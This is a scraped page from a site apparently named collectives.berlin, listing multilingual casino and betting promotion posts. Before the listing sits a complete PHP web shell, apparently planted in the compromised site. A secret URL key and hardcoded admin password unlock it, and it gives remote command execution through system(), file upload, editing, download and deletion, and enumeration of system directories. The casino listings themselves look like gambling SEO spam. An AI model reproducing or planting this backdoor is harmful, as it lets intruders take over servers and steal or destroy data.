if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Casino – Page 6 – collectives.berlin

Your digital paradise.

Category: Casino

  • Mejores Casinos en Línea España 2026: Ranking Expertos Sistel es

    Content Mejores casinos online en España 2026 Métodos de Pago en Casinos Online Bonos de bienvenida y condiciones Juegos de Mesa Los nuevos casinos online son conocidos por su variedad top casinos online españa de juegos de azar. El Juego Responsable es vital a la hora de jugar en los mejores casinos online de España.…

    Click or not…

  • Die Besten Online-Wettseiten Deutschland

    Content Grundwerte unseres Online Casino Tests: Spielerschutz und Maßnahmen zum verantwortungsbewussten Spielen Die Sicherheit deines Geldes Die besten Bonusangebote bei Wetten Seiten ✔️ Große Spielauswahl – Lizenzierte Slots namhafter Provider (z. B. Novoline, Merkur, Pragmatic Play) sowie Online-Poker. In casino online niemcy diesem Abschnitt zeigen wir dir die wichtigsten Säulen, an denen du die besten…

    Click or not…

  • Mejores casinos online en España » Lista de casinos legales

    Content ¿Qué hace que un casino online sea el mejor? Criterios de selección Nuestros criterios al realizar el TOP 10 de casinos online Bwin – Mejor casino online de España Tipos de casinos online más populares en España ¿Qué tipos de juegos se pueden encontrar en los casinos en línea? Winstler es uno de los…

    Click or not…

  • Casinos online con Bizum en España: cómo depositar y mejores opciones

    Contents Testimonios de jugadores sobre los depósitos con Bizum en un casino ¿Cómo Ingreso Fondos en mi Cuenta de Casino con Bizum? Nuestro ranking de casinos españoles en septiembre Análisis de los 3 mejores casinos para depositar con Bizum Cómo depositar con Bizum en casinos online CNP Winamax evento principal 1C – 10 de septiembre…

    Click or not…

  • Mejores casinos online con dinero real España 2026

    Content Métodos de pago para jugar con casino online dinero real Impuestos sobre las ganancias del juego online en España Métodos de pago y límites de depósito DraftKings en Pensilvania – juegos de mesa exclusivos Desde métodos de pago seguros hasta el licenciamiento de las plataformas. Si eres un amante de las máquinas tragamonedas online…

    Click or not…

  • Casino retrait instantané : Top casinos en ligne retrait immédiat

    Content Winamax : meilleur bonus pour le casino live Dragonia Casino: retrait immédiat crypto en moins de 5 minutes Processus de vérification d’identité Encaisser les gains d’un bonus sans dépôt : le tuto retrait La vérification d’identité obligatoire — l’étape à anticiper Le premier critère à examiner pour identifier un casino en ligne avantageux reste…

    Click or not…

  • Casino uten registrering topp 10 i 2026

    In This Article Beste casino med free spins uten innskudd Slotsgem Casino 15 gratisspinn uten innskudd på Book of Nile Gratisspinn uten innskudd Velkomstbonuser Hvordan fungerer free spins uten innskudd? Vi omtaler og lenker til seriøse, lisensierte casino som tar imot norske spillere. Det er raskt og enkelt for norske spillere. Bonusen er ikke den…

    Click or not…

  • Guía Completa

    Content Ranking de las casas de apuestas sin licencia para jugadores españoles en 2026 Breve reseña de las 4 mejores casas de apuestas sin licencia española Más métodos de pago Los operadores con licencia PAGCOR deben cumplir con normas relacionadas con la seguridad, el juego responsable y la estabilidad financiera. Por estas razones, muchos jugadores…

    Click or not…

  • Neue Online Casinos im September: Vergleich & Test

    Content DudeSpin Casino – 300% Willkommensbonus für Neukunden Faire Bonusbedingungen erkennen – Gute vs. kritische Werte Jetzt neue Casino Bonus ohne Einzahlung Codes finden fairen Bonusbedingungen Verfügbare Boni Es ist wichtig, sich über Sicherheitsaspekte zu informieren und sicherzustellen, dass die gewählte Plattform vertrauenswürdig ist. Ein neues Online Casino sollte nicht nur eine breite Palette an…

    Click or not…